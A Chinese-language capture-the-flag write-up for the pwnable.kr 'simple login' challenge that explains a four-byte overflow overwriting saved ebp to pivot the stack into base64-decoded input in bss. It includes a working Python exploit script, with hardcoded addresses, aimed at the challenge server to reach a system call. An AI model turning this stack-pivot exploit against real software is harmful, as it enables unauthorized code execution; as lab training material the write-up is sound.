pwnable.kr simple login writeup

pwnable.kr simple login writeup

虽然说是pt150但是还是让我学到很多东西的。这是一个判定特定字符串的程序,直接说溢出点吧。输入的字符会经过一个base64解码,溢出点在auth的memcpy,只能够有4个字节的溢出,这么少怎么弄?
pwnable.kr simple login writeup_第1张图片
参考了大神思路。http://www.cnblogs.com/anewid/p/4567242.html
我们只能溢出4个字节,那就是ebp,ebp里面存放着什么呢,是上个函数的esp,栈顶,再结合每次函数结束的时候都必须的操作,.

leave; ==>mov esp,ebp; pop ebp;

retn; ==>pop eip;

    对于我们这里来说就应该是这样的,main函数调用了auth函数,我们来把ebp改了,就把auth返回到main函数之后的esp改了,这样的话如果我们能够控制esp的位置是我们可写的话,就可以控制main函数的retn的地址了。刚好我们的输入在bss段,于是猥琐的思路来了。

from zio import *
import base64
call_system = 0x08049284
input_addr = 0x811eb40
#target='./login'
target=('pwnable.kr',9003)
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    io.gdb_hint()
    io.read_until(':')
    payload = 'aaaa' + l32(call_system) + l32(input_addr)
    io.writeline(base64.b64encode(payload))
    io.interact()
exp(target)

你可能感兴趣的:(CTF--逆向)